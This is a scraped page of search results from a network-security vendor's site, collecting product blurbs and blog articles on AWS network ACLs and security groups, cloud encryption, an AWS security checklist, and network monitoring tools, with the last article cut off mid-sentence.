top of page

Search results

675 results found with an empty search

  • Global financial institution automates hybrid cloud security with AlgoSec - AlgoSec

    Global financial institution automates hybrid cloud security with AlgoSec Case Study Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • AlgoSec | NACL best practices: How to combine security groups with network ACLs effectively

    Like all modern cloud providers, Amazon adopts the shared responsibility model for cloud security. Amazon guarantees secure... AWS NACL best practices: How to combine security groups with network ACLs effectively Prof. Avishai Wool 2 min read Prof. Avishai Wool Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/28/23 Published Like all modern cloud providers, Amazon adopts the shared responsibility model for cloud security. Amazon guarantees secure infrastructure for Amazon Web Services, while AWS users are responsible for maintaining secure configurations. That requires using multiple AWS services and tools to manage traffic. You’ll need to develop a set of inbound rules for incoming connections between your Amazon Virtual Private Cloud (VPC) and all of its Elastic Compute (EC2) instances and the rest of the Internet. You’ll also need to manage outbound traffic with a series of outbound rules. Your Amazon VPC provides you with several tools to do this. The two most important ones are security groups and Network Access Control Lists (NACLs). Security groups are stateful firewalls that secure inbound traffic for individual EC2 instances. Network ACLs are stateless firewalls that secure inbound and outbound traffic for VPC subnets. Managing AWS VPC security requires configuring both of these tools appropriately for your unique security risk profile. This means planning your security architecture carefully to align it the rest of your security framework. For example, your firewall rules impact the way Amazon Identity Access Management (IAM) handles user permissions. Some (but not all) IAM features can be implemented at the network firewall layer of security. Before you can manage AWS network security effectively , you must familiarize yourself with how AWS security tools work and what sets them apart. Everything you need to know about security groups vs NACLs AWS security groups explained: Every AWS account has a single default security group assigned to the default VPC in every Region. It is configured to allow inbound traffic from network interfaces assigned to the same group, using any protocol and any port. It also allows all outbound traffic using any protocol and any port. Your default security group will also allow all outbound IPv6 traffic once your VPC is associated with an IPv6 CIDR block. You can’t delete the default security group, but you can create new security groups and assign them to AWS EC2 instances. Each security group can only contain up to 60 rules, but you can set up to 2500 security groups per Region. You can associate many different security groups to a single instance, potentially combining hundreds of rules. These are all allow rules that allow traffic to flow according the ports and protocols specified. For example, you might set up a rule that authorizes inbound traffic over IPv6 for linux SSH commands and sends it to a specific destination. This could be different from the destination you set for other TCP traffic. Security groups are stateful, which means that requests sent from your instance will be allowed to flow regardless of inbound traffic rules. Similarly, VPC security groups automatically responses to inbound traffic to flow out regardless of outbound rules. However, since security groups do not support deny rules, you can’t use them to block a specific IP address from connecting with your EC2 instance. Be aware that Amazon EC2 automatically blocks email traffic on port 25 by default – but this is not included as a specific rule in your default security group. AWS NACLs explained: Your VPC comes with a default NACL configured to automatically allow all inbound and outbound network traffic. Unlike security groups, NACLs filter traffic at the subnet level. That means that Network ACL rules apply to every EC2 instance in the subnet, allowing users to manage AWS resources more efficiently. Every subnet in your VPC must be associated with a Network ACL. Any single Network ACL can be associated with multiple subnets, but each subnet can only be assigned to one Network ACL at a time. Every rule has its own rule number, and Amazon evaluates rules in ascending order. The most important characteristic of NACL rules is that they can deny traffic. Amazon evaluates these rules when traffic enters or leaves the subnet – not while it moves within the subnet. You can access more granular data on data flows using VPC flow logs. Since Amazon evaluates NACL rules in ascending order, make sure that you place deny rules earlier in the table than rules that allow traffic to multiple ports. You will also have to create specific rules for IPv4 and IPv6 traffic – AWS treats these as two distinct types of traffic, so rules that apply to one do not automatically apply to the other. Once you start customizing NACLs, you will have to take into account the way they interact with other AWS services. For example, Elastic Load Balancing won’t work if your NACL contains a deny rule excluding traffic from 0.0.0.0/0 or the subnet’s CIDR. You should create specific inclusions for services like Elastic Load Balancing, AWS Lambda, and AWS CloudWatch. You may need to set up specific inclusions for third-party APIs, as well. You can create these inclusions by specifying ephemeral port ranges that correspond to the services you want to allow. For example, NAT gateways use ports 1024 to 65535. This is the same range covered by AWS Lambda functions, but it’s different than the range used by Windows operating systems. When creating these rules, remember that unlike security groups, NACLs are stateless. That means that when responses to allowed traffic are generated, those responses are subject to NACL rules. Misconfigured NACLs deny traffic responses that should be allowed, leading to errors, reduced visibility, and potential security vulnerabilities . How to configure and map NACL associations A major part of optimizing NACL architecture involves mapping the associations between security groups and NACLs. Ideally, you want to enforce a specific set of rules at the subnet level using NACLs, and a different set of instance-specific rules at the security group level. Keeping these rulesets separate will prevent you from setting inconsistent rules and accidentally causing unpredictable performance problems. The first step in mapping NACL associations is using the Amazon VPC console to find out which NACL is associated with a particular subnet. Since NACLs can be associated with multiple subnets, you will want to create a comprehensive list of every association and the rules they contain. To find out which NACL is associated with a subnet: Open the Amazon VPC console . Select Subnets in the navigation pane. Select the subnet you want to inspect. The Network ACL tab will display the ID of the ACL associated with that network, and the rules it contains. To find out which subnets are associated with a NACL: Open the Amazon VPC console . Select Network ACLS in the navigation pane. Click over to the column entitled Associated With. Select a Network ACL from the list. Look for Subnet associations on the details pane and click on it. The pane will show you all subnets associated with the selected Network ACL. Now that you know how the difference between security groups and NACLs and you can map the associations between your subnets and NACLs, you’re ready to implement some security best practices that will help you strengthen and simplify your network architecture. 5 best practices for AWS NACL management Pay close attention to default NACLs, especially at the beginning Since every VPC comes with a default NACL, many AWS users jump straight into configuring their VPC and creating subnets, leaving NACL configuration for later. The problem here is that every subnet associated with your VPC will inherit the default NACL. This allows all traffic to flow into and out of the network. Going back and building a working security policy framework will be difficult and complicated – especially if adjustments are still being made to your subnet-level architecture. Taking time to create custom NACLs and assign them to the appropriate subnets as you go will make it much easier to keep track of changes to your security posture as you modify your VPC moving forward. Implement a two-tiered system where NACLs and security groups complement one another Security groups and NACLs are designed to complement one another, yet not every AWS VPC user configures their security policies accordingly. Mapping out your assets can help you identify exactly what kind of rules need to be put in place, and may help you determine which tool is the best one for each particular case. For example, imagine you have a two-tiered web application with web servers in one security group and a database in another. You could establish inbound NACL rules that allow external connections to your web servers from anywhere in the world (enabling port 443 connections) while strictly limiting access to your database (by only allowing port 3306 connections for MySQL). Look out for ineffective, redundant, and misconfigured deny rules Amazon recommends placing deny rules first in the sequential list of rules that your NACL enforces. Since you’re likely to enforce multiple deny rules per NACL (and multiple NACLs throughout your VPC), you’ll want to pay close attention to the order of those rules, looking for conflicts and misconfigurations that will impact your security posture. Similarly, you should pay close attention to the way security group rules interact with your NACLs. Even misconfigurations that are harmless from a security perspective may end up impacting the performance of your instance, or causing other problems. Regularly reviewing your rules is a good way to prevent these mistakes from occurring. Limit outbound traffic to the required ports or port ranges When creating a new NACL, you have the ability to apply inbound or outbound restrictions. There may be cases where you want to set outbound rules that allow traffic from all ports. Be careful, though. This may introduce vulnerabilities into your security posture. It’s better to limit access to the required ports, or to specify the corresponding port range for outbound rules. This establishes the principle of least privilege to outbound traffic and limits the risk of unauthorized access that may occur at the subnet level. Test your security posture frequently and verify the results How do you know if your particular combination of security groups and NACLs is optimal? Testing your architecture is a vital step towards making sure you haven’t left out any glaring vulnerabilities. It also gives you a good opportunity to address misconfiguration risks. This doesn’t always mean actively running penetration tests with experienced red team consultants, although that’s a valuable way to ensure best-in-class security. It also means taking time to validate your rules by running small tests with an external device. Consider using AWS flow logs to trace the way your rules direct traffic and using that data to improve your work. How to diagnose security group rules and NACL rules with flow logs Flow logs allow you to verify whether your firewall rules follow security best practices effectively. You can follow data ingress and egress and observe how data interacts with your AWS security rule architecture at each step along the way. This gives you clear visibility into how efficient your route tables are, and may help you configure your internet gateways for optimal performance. Before you can use the Flow Log CLI, you will need to create an IAM role that includes a policy granting users the permission to create, configure, and delete flow logs. Flow logs are available at three distinct levels, each accessible through its own console: Network interfaces VPCs Subnets You can use the ping command from an external device to test the way your instance’s security group and NACLs interact. Your security group rules (which are stateful) will allow the response ping from your instance to go through. Your NACL rules (which are stateless) will not allow the outbound ping response to travel back to your device. You can look for this activity through a flow log query. Here is a quick tutorial on how to create a flow log query to check your AWS security policies. First you’ll need to create a flow log in the AWS CLI. This is an example of a flow log query that captures all rejected traffic for a specified network interface. It delivers the flow logs to a CloudWatch log group with permissions specified in the IAM role: aws ec2 create-flow-logs \ –resource-type NetworkInterface \ –resource-ids eni-1235b8ca123456789 \ –traffic-type ALL \ –log-group-name my-flow-logs \ –deliver-logs-permission-arn arn:aws:iam::123456789101:role/publishFlowLogs Assuming your test pings represent the only traffic flowing between your external device and EC2 instance, you’ll get two records that look like this: 2 123456789010 eni-1235b8ca123456789 203.0.113.12 172.31.16.139 0 0 1 4 336 1432917027 1432917142 ACCEPT OK 2 123456789010 eni-1235b8ca123456789 172.31.16.139 203.0.113.12 0 0 1 4 336 1432917094 1432917142 REJECT OK To parse this data, you’ll need to familiarize yourself with flow log syntax. Default flow log records contain 14 arguments, although you can also expand custom queries to return more than double that number: Version tells you the version currently in use. Default flow logs requests use Version 2. Expanded custom requests may use Version 3 or 4. Account-id tells you the account ID of the owner of the network interface that traffic is traveling through. The record may display as unknown if the network interface is part of an AWS service like a Network Load Balancer. Interface-id shows the unique ID of the network interface for the traffic currently under inspection. Srcaddr shows the source of incoming traffic, or the address of the network interface for outgoing traffic. In the case of IPv4 addresses for network interfaces, it is always its private IPv4 address. Dstaddr shows the destination of outgoing traffic, or the address of the network interface for incoming traffic. In the case of IPv4 addresses for network interfaces, it is always its private IPv4 address. Srcport is the source port for the traffic under inspection. Dstport is the destination port for the traffic under inspection. Protocol refers to the corresponding IANA traffic protocol number . Packets describes the number of packets transferred. Bytes describes the number of bytes transferred. Start shows the start time when the first data packet was received. This could be up to one minute after the network interface transmitted or received the packet. End shows the time when the last data packet was received. This can be up to one minutes after the network interface transmitted or received the data packet. Action describes what happened to the traffic under inspection: ACCEPT means that traffic was allowed to pass. REJECT means the traffic was blocked, typically by security groups or NACLs. Log-status confirms the status of the flow log: OK means data is logging normally. NODATA means no network traffic to or from the network interface was detected during the specified interval. SKIPDATA means some flow log records are missing, usually due to internal capacity restraints or other errors. Going back to the example above, the flow log output shows that a user sent a command from a device with the IP address 203.0.113.12 to the network interface’s private IP address, which is 172.31.16.139. The security group’s inbound rules allowed the ICMP traffic to travel through, producing an ACCEPT record. However, the NACL did not let the ping response go through, because it is stateless. This generated the REJECT record that followed immediately after. If you configure your NACL to permit output ICMP traffic and run this test again, the second flow log record will change to ACCEPT. azon Web Services (AWS) is one of the most popular options for organizations looking to migrate their business applications to the cloud. It’s easy to see why: AWS offers high capacity, scalable and cost-effective storage, and a flexible, shared responsibility approach to security. Essentially, AWS secures the infrastructure, and you secure whatever you run on that infrastructure. However, this model does throw up some challenges. What exactly do you have control over? How can you customize your AWS infrastructure so that it isn’t just secure today, but will continue delivering robust, easily managed security in the future? The basics: security groups AWS offers virtual firewalls to organizations, for filtering traffic that crosses their cloud network segments. The AWS firewalls are managed using a concept called Security Groups. These are the policies, or lists of security rules, applied to an instance – a virtualized computer in the AWS estate. AWS Security Groups are not identical to traditional firewalls, and they have some unique characteristics and functionality that you should be aware of, and we’ve discussed them in detail in video lesson 1: the fundamentals of AWS Security Groups , but the crucial points to be aware of are as follows. First, security groups do not deny traffic – that is, all the rules in security groups are positive, and allow traffic. Second, while security group rules can be set to specify a traffic source, or a destination, they cannot specify both on the same rule. This is because AWS always sets the unspecified side (source or destination) as the instance to which the group is applied. Finally, single security groups can be applied to multiple instances, or multiple security groups can be applied to a single instance: AWS is very flexible. This flexibility is one of the unique benefits of AWS, allowing organizations to build bespoke security policies across different functions and even operating systems, mixing and matching them to suit their needs. Adding Network ACLs into the mix To further enhance and enrich its security filtering capabilities AWS also offers a feature called Network Access Control Lists (NACLs). Like security groups, each NACL is a list of rules, but there are two important differences between NACLs and security groups. The first difference is that NACLs are not directly tied to instances, but are tied with the subnet within your AWS virtual private cloud that contains the relevant instance. This means that the rules in a NACL apply to all of the instances within the subnet, in addition to all the rules from the security groups. So a specific instance inherits all the rules from the security groups associated with it, plus the rules associated with a NACL which is optionally associated with a subnet containing that instance. As a result NACLs have a broader reach, and affect more instances than a security group does. The second difference is that NACLs can be written to include an explicit action, so you can write ‘deny’ rules – for example to block traffic from a particular set of IP addresses which are known to be compromised. The ability to write ‘deny’ actions is a crucial part of NACL functionality. It’s all about the order As a consequence, when you have the ability to write both ‘allow’ rules and ‘deny’ rules, the order of the rules now becomes important. If you switch the order of the rules between a ‘deny’ and ‘allow’ rule, then you’re potentially changing your filtering policy quite dramatically. To manage this, AWS uses the concept of a ‘rule number’ within each NACL. By specifying the rule number, you can identify the correct order of the rules for your needs. You can choose which traffic you deny at the outset, and which you then actively allow. As such, with NACLs you can manage security tasks in a way that you cannot do with security groups alone. However, we did point out earlier that an instance inherits security rules from both the security groups, and from the NACLs – so how do these interact? The order by which rules are evaluated is this; For inbound traffic, AWS’s infrastructure first assesses the NACL rules. If traffic gets through the NACL, then all the security groups that are associated with that specific instance are evaluated, and the order in which this happens within and among the security groups is unimportant because they are all ‘allow’ rules. For outbound traffic, this order is reversed: the traffic is first evaluated against the security groups, and then finally against the NACL that is associated with the relevant subnet. You can see me explain this topic in person in my new whiteboard video: Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • Six levels of intelligent automation - AlgoSec

    Six levels of intelligent automation WhitePaper Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • AlgoSec | What Is Cloud Encryption? Your Key to Data Security

    Introduction   Imagine your sensitive business data falling into the wrong hands. A data breach can be devastating, leading to financial... Cloud Security What Is Cloud Encryption? Your Key to Data Security Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 12/16/24 Published Introduction Imagine your sensitive business data falling into the wrong hands. A data breach can be devastating, leading to financial losses, legal headaches, and irreparable damage to your reputation. Cloud encryption is your key to protecting your valuable data and ensuring peace of mind in the cloud. In this article, we'll explore cloud encryption and how AlgoSec can help you implement it effectively. We'll cover the basics of encryption, its benefits, the challenges you might face, and best practices to ensure your data stays safe. What Is Cloud Encryption? Cloud encryption is like creating a secret code for your data. It scrambles your information so that only authorized people with the key can read it. This process ensures that even if someone gains unauthorized access to your data, they won't be able to understand or use it. Cloud encryption is essential for protecting sensitive information like customer data, financial records, and intellectual property. It helps organizations meet compliance requirements, maintain data privacy, and safeguard their reputation. Encryption in Action: Protecting Data at Rest and in Transit Cloud encryption can be used to protect data in two states: Data at Rest: This refers to data that is stored in the cloud, such as in databases or storage buckets. Encryption ensures that even if someone gains access to the storage, they can't read the data without the encryption key. Data in Transit: This refers to data that is moving between locations, such as between your computer and a cloud server. Encryption protects the data while it travels over the internet, preventing eavesdropping and unauthorized access. How does it work? Cloud encryption uses algorithms to transform your data into an unreadable format. Think of it like this: Symmetric encryption: You and the recipient have the same key to lock (encrypt) and unlock (decrypt) the data. It's like using the same key for your front and back door. Asymmetric encryption: There are two keys: a public key to lock the data and a private key to unlock it. It's like having a mailbox with a slot for anyone to drop mail in (public key), but only you have the key to open the mailbox (private key). Why Encrypt Your Cloud Data? Cloud encryption offers a wide range of benefits: Compliance: Avoid costly fines and legal battles by meeting compliance requirements like GDPR, HIPAA, and PCI DSS. Data Protection: Safeguard your sensitive data, whether it's financial transactions, customer information, or intellectual property. Control and Ownership: Maintain control over your data and who can access it. Insider Threat Protection: Reduce the risk of data breaches caused by malicious or negligent employees. Multi-Tenancy Security: Enhance data security and isolation in shared cloud environments. Cloud Encryption Challenges (and How AlgoSec Helps) While cloud encryption is essential, it can be complex to manage. Here are some common challenges: Key Management: Securely managing encryption keys is crucial. Losing or mismanaging keys can lead to data loss. AlgoSec Solution: AlgoSec provides a centralized key management system to simplify and secure your encryption keys. Compliance: Meeting various regional and industry-specific regulations can be challenging. AlgoSec Solution: AlgoSec helps you navigate compliance requirements and implement appropriate encryption controls. Shared Responsibility: Understanding the shared responsibility model and your role in managing encryption can be complex. AlgoSec Solution: AlgoSec provides clear guidance and tools to help you fulfill your security responsibilities. Cloud Encryption Best Practices Encrypt Everything: Encrypt data both at rest and in transit. Choose Strong Algorithms: Use strong encryption algorithms like AES-256. Manage Keys Securely: Use a key management system (KMS) like the one provided by AlgoSec to automate and secure key management. Control Access: Implement strong access controls and identity management systems. Stay Compliant: Adhere to industry standards and regulations. Monitor and Audit: Regularly monitor your encryption implementation and conduct audits to ensure ongoing effectiveness. Conclusion Protecting your data in the cloud is non-negotiable. Cloud encryption is a fundamental security measure that every organization should implement. By understanding the benefits, challenges, and best practices of cloud encryption, you can make informed decisions to safeguard your sensitive information. Ready to protect your cloud data with encryption? AlgoSec helps businesses ensure data confidentiality and drastically lower the risk of cloud security incidents. Dive deeper into cloud security: Read our previous blog posts, Unveiling Cloud's Hidden Risks, A Secure VPC as the Main Pillar of Cloud Security, Azure Best Practices and Kubernetes Security Best Practices to uncover the top challenges and learn how to gain control of your cloud environment. These articles will equip you with the knowledge and tools to strengthen your cloud defenses. Subscribe to our blog to stay informed and join us on the journey to a safer and more resilient cloud future. Have a specific cloud security challenge? Contact us today for a free consultation. Want to learn more about how AlgoSec can help you secure your Kubernetes environment? Request a free demo today! Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • AlgoSec | The Comprehensive 9-Point AWS Security Checklist

    A practical AWS security checklist will help you identify and address vulnerabilities quickly. In the process, ensure your cloud security... Cloud Security The Comprehensive 9-Point AWS Security Checklist Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 2/20/23 Published A practical AWS security checklist will help you identify and address vulnerabilities quickly. In the process, ensure your cloud security posture is up-to-date with industry standards. This post will walk you through an 8-point AWS security checklist. We’ll also share the AWS security best practices and how to implement them. The AWS shared responsibility model AWS shared responsibility model is a paradigm that describes how security duties are split between AWS and its clients. This approach considers AWS a provider of cloud security architecture. And customers still protect their individual programs, data, and other assets. AWS’s Responsibility According to this model, AWS maintains the safety of the cloud structures. This encompasses the network, the hypervisor, the virtualization layer, and the physical protection of data centers. AWS also offers clients a range of safety precautions and services. They include surveillance tools, a load balancer, access restrictions, and encryption. Customer Responsibility As a customer, you are responsible for setting up AWS security measures to suit your needs. You also do this to safeguard your information, systems, programs, and operating systems. Customer responsibility entails installing reasonable access restrictions and maintaining user profiles and credentials. You can also watch for security issues in your work setting. Let’s compare the security responsibilities of AWS and its customers in a table: Comprehensive 8-point AWS security checklist 1. Identity and access management (IAM) 2. Logical access control 3. Storage and S3 4. Asset management 5. Configuration management. 6. Release and deployment management 7. Disaster recovery and backup 8. Monitoring and incidence management Identity and access management (IAM) IAM is a web service that helps you manage your company’s AWS access and security. It allows you to control who has access to your resources or what they can do with your AWS assets. Here are several IAM best practices: Replace access keys with IAM roles. Use IAM roles to provide AWS services and apps with the necessary permissions. Ensure that users only have permission to use the resources they need. Do this by implementing the concept of least privilege . Whenever communicating between a client and an ELB, use secure SSL versions. Use IAM policies to specify rights for user groups and centralized access management. Use IAM password policies to impose strict password restrictions on all users. Logical access control Logical access control involves controlling who accesses your AWS resources. This step also entails deciding the types of actions that users can perform on the resources. You can do this by allowing or denying access to specific people based on their position, job function, or other criteria. Logical access control best practices include the following: Separate sensitive information from less-sensitive information in systems and data using network partitioning Confirm user identity and restrict the usage of shared user accounts. You can use robust authentication techniques, such as MFA and biometrics. Protect remote connectivity and keep offsite access to vital systems and data to a minimum by using VPNs. Track network traffic and spot shady behavior using the intrusion detection and prevention systems (IDS/IPS). Access remote systems over unsecured networks using the secure socket shell (SSH). Storage and S3 Amazon S3 is a scalable object storage service where data may be stored and retrieved. The following are some storage and S3 best practices: Classify the data to determine access limits depending on the data’s sensitivity. Establish object lifecycle controls and versioning to control data retention and destruction. Use the Amazon Elastic Block Store (Amazon EBS) for this process. Monitor the storage and audit accessibility to your S3 buckets using Amazon S3 access logging. Handle encryption keys and encrypt confidential information in S3 using the AWS Key Management Service (KMS). Create insights on the current state and metadata of the items stored in your S3 buckets using Amazon S3 Inventory. Use Amazon RDS to create a relational database for storing critical asset information. Asset management Asset management involves tracking physical and virtual assets to protect and maintain them. The following are some asset management best practices: Determine all assets and their locations by conducting routine inventory evaluations. Delegate ownership and accountability to ensure each item is cared for and kept safe. Deploy conventional and digital safety safeguards to stop illegal access or property theft. Don’t use expired SSL/TLS certificates. Define standard settings to guarantee that all assets are safe and functional. Monitor asset consumption and performance to see possible problems and possibilities for improvement. Configuration management. Configuration management involves monitoring and maintaining server configurations, software versions, and system settings. Some configuration management best practices are: Use version control systems to handle and monitor modifications. These systems can also help you avoid misconfiguration of documents and code . Automate configuration updates and deployments to decrease user error and boost consistency. Implement security measures, such as firewalls and intrusion sensing infrastructure. These security measures will help you monitor and safeguard setups. Use configuration baselines to design and implement standard configurations throughout all platforms. Conduct frequent vulnerability inspections and penetration testing. This will enable you to discover and patch configuration-related security vulnerabilities. Release and deployment management Release and deployment management involves ensuring the secure release of software and systems. Here are some best practices for managing releases and deployments: Use version control solutions to oversee and track modifications to software code and other IT resources. Conduct extensive screening and quality assurance (QA) processes. Do this before publishing and releasing new software or updates. Use automation technologies to organize and distribute software upgrades and releases. Implement security measures like firewalls and intrusion detection systems. Disaster recovery and backup Backup and disaster recovery are essential elements of every organization’s AWS environment. AWS provides a range of services to assist clients in protecting their data. The best practices for backup and disaster recovery on AWS include: Establish recovery point objectives (RPO) and recovery time objectives (RTO). This guarantees backup and recovery operations can fulfill the company’s needs. Archive and back up data using AWS products like Amazon S3, flow logs, Amazon CloudFront and Amazon Glacier. Use AWS solutions like AWS Backup and AWS Disaster Recovery to streamline backup and recovery. Use a backup retention policy to ensure that backups are stored for the proper amount of time. Frequently test backup and recovery procedures to ensure they work as intended. Redundancy across many regions ensures crucial data is accessible during a regional outage. Watch for problems that can affect backup and disaster recovery procedures. Document disaster recovery and backup procedures. This ensures you can perform them successfully in the case of an absolute disaster. Use encryption for backups to safeguard sensitive data. Automate backup and recovery procedures so human mistakes are less likely to occur. Monitoring and incidence management Monitoring and incident management enable you to track your AWS environment and respond to any issues. Amazon web services monitoring and incident management best practices include: Monitoring API traffic and looking for any security risks with AWS CloudTrail. Use AWS CloudWatch to track logs, performance, and resource usage. Set up modifications to AWS resources and monitor for compliance problems using AWS Config. Combine and rank security warnings from various AWS user accounts and services using AWS Security groups. Using AWS Lambda and other AWS services to implement automated incident response procedures. Establish a plan for responding to incidents that specify roles and obligations and define a clear escalation path. Exercising incident response procedures frequently to make sure the strategy works. Checking for flaws in third-party applications and applying quick fixes. The use of proactive monitoring to find possible security problems before they become incidents. Train your staff on incident response best practices. This way, you ensure that they’ll respond effectively in case of an incident. Top challenges of AWS security DoS attacks A Distributed denial of service (DDoS) attack poses a huge security risk to AWS systems. It involves an attacker bombarding a network with traffic from several sources. In the process, straining its resources and rendering it inaccessible to authorized users. To minimize this sort of danger, your DevOps should have a thorough plan to mitigate this sort of danger. AWS offers tools and services, such as AWS Shield, to assist fight against DDoS assaults. Outsider AWS compromise. Hackers can use several strategies to get illegal access to your AWS account. For example, they may use psychological manipulation or exploit software flaws. Once outsiders gain access, they may use data outbound techniques to steal your data. They can also initiate attacks on other crucial systems. Insider threats Insiders with permission to access your AWS resources often pose a huge risk. They can damage the system by modifying or stealing data and intellectual property. Only grant access to authorized users and limit the access level for each user. Monitor the system and detect any suspicious activities in real-time. Root account access The root account has complete control over an AWS account and has the highest degree of access.Your security team should access the root account only when necessary. Follow AWS best practices when assigning root access to IAM users and parties. This way, you can ensure that only those who should have root access can access the server. Security best practices when using AWS Set strong authentication policies. A key element of AWS security is a strict authentication policy. Implement password rules, demanding solid passwords and frequent password changes to increase security. Multi-factor authentication (MFA) is a recommended security measure for access control. It involves a user providing two or more factors, such as an ID, password, and token code, to gain access. Using MFA can improve the security of your account. It can also limit access to resources like Amazon Machine Images (AMIs). Differentiate security of cloud vs. in cloud Do you recall the AWS cloud shared responsibility model? The customer handles configuring and managing access to cloud services. On the other hand, AWS provides a secure cloud infrastructure. It provides physical security controls like firewalls, intrusion detection systems, and encryption. To secure your data and applications, follow the AWS shared responsibility model. For example, you can use IAM roles and policies to set up virtual private cloud VPCs. Keep compliance up to date AWS provides several compliance certifications for HIPAA, PCI DSS, and SOC 2. The certifications are essential for ensuring your organization’s compliance with industry standards. While NIST doesn’t offer certifications, it provides a framework to ensure your security posture is current. AWS data centers comply with NIST security guidelines. This allows customers to adhere to their standards. You must ensure that your AWS setup complies with all legal obligations as an AWS client. You do this by keeping up with changes to your industry’s compliance regulations. You should consider monitoring, auditing, and remedying your environment for compliance. You can use services offered by AWS, such as AWS Config and AWS CloudTrail log, to perform these tasks. You can also use Prevasio to identify and remediate non-compliance events quickly. It enables customers to ensure their compliance with industry and government standards. The final word on AWS security You need a credible AWS security checklist to ensure your environment is secure. Cloud Security Posture Management solutions produce AWS security checklists. They provide a comprehensive report to identify gaps in your security posture and processes for closing them. With a CSPM tool like Prevasio , you can audit your AWS environment. And identify misconfigurations that may lead to vulnerabilities. It comes with a vulnerability assessment and anti-malware scan that can help you detect malicious activities immediately. In the process, your AWS environment becomes secure and compliant with industry standards. Prevasio comes as cloud native application protection platform (CNAPP). It combines CSPM, CIEM and all the other important cloud security features into one tool. This way, you’ll get better visibility of your cloud security on one platform. Try Prevasio today ! Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • Partner solution brief AlgoSec and Palo Alto networks - AlgoSec

    Partner solution brief AlgoSec and Palo Alto networks Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • Beyond Connectivity: A Masterclass in Network Security with Meraki & AlgoSec | AlgoSec

    Webinars Beyond Connectivity: A Masterclass in Network Security with Meraki & AlgoSec Learn details of how to overcome common network security challenges, how to streamline your security management, and how to boost your security effectiveness with AlgoSec and Cisco Meraki’s enhanced integration. This webinar highlights real-world examples of organizations that have successfully implemented AlgoSec and Cisco Meraki solutions. January 18, 2024 Relevant resources Cisco Meraki – Visibility, Risk & Compliance Demo Watch Video 5 ways to enrich your Cisco security posture with AlgoSec Watch Video Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • AlgoSec | Top 9 Network Security Monitoring Tools for Identifying Potential Threats

    What is Network Security Monitoring? Network security monitoring is the process of inspecting network traffic and IT infrastructure for... Network Security Top 9 Network Security Monitoring Tools for Identifying Potential Threats Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 2/4/24 Published What is Network Security Monitoring? Network security monitoring is the process of inspecting network traffic and IT infrastructure for signs of security issues. These signs can provide IT teams with valuable information about the organization’s cybersecurity posture. For example, security teams may notice unusual changes being made to access control policies. This may lead to unexpected traffic flows between on-premises systems and unrecognized web applications. This might provide early warning of an active cyberattack, giving security teams enough time to conduct remediation efforts and prevent data loss . Detecting this kind of suspicious activity without the visibility that network security monitoring provides would be very difficult. These tools and policies enhance operational security by enabling network intrusion detection, anomaly detection, and signature-based detection. Full-featured network security monitoring solutions help organizations meet regulatory compliance requirements by maintaining records of network activity and security incidents. This gives analysts valuable data for conducting investigations into security events and connect seemingly unrelated incidents into a coherent timeline. What To Evaluate in a Network Monitoring Software Provider Your network monitoring software provider should offer a comprehensive set of features for collecting, analyzing, and responding to suspicious activity anywhere on your network. It should unify management and control of your organization’s IT assets while providing unlimited visibility into how they interact with one another. Comprehensive alerting and reporting Your network monitoring solution must notify you of security incidents and provide detailed reports describing those incidents in real-time. It should include multiple toolsets for collecting performance metrics, conducting in-depth analysis, and generating compliance reports. Future-proof scalability Consider what kind of network monitoring needs your organization might have several years from now. If your monitoring tool cannot scale to accommodate that growth, you may end up locked into a vendor agreement that doesn’t align with your interests. This is especially true with vendors that prioritize on-premises implementations since you run the risk of paying for equipment and services that you don’t actually use. Cloud-delivered software solutions often perform better in use cases where flexibility is important. Integration with your existing IT infrastructure Your existing security tech stack may include a selection of SIEM platforms, IDS/IPS systems, firewalls , and endpoint security solutions. Your network security monitoring software will need to connect all of these tools and platforms together in order to grant visibility into network traffic flows between them. Misconfigurations and improper integrations can result in dangerous security vulnerabilities. A high-performance vulnerability scanning solution may be able to detect these misconfigurations so you can fix them proactively. Intuitive user experience for security teams and IT admins Complex tools often come with complex management requirements. This can create a production bottleneck when there aren’t enough fully-trained analysts on the IT security team. Monitoring tools designed for ease of use can improve security performance by reducing training costs and allowing team members to access monitoring insights more easily. Highly automated tools can drive even greater performance benefits by reducing the need for manual control altogether. Excellent support and documentation Deploying network security monitoring tools is not always a 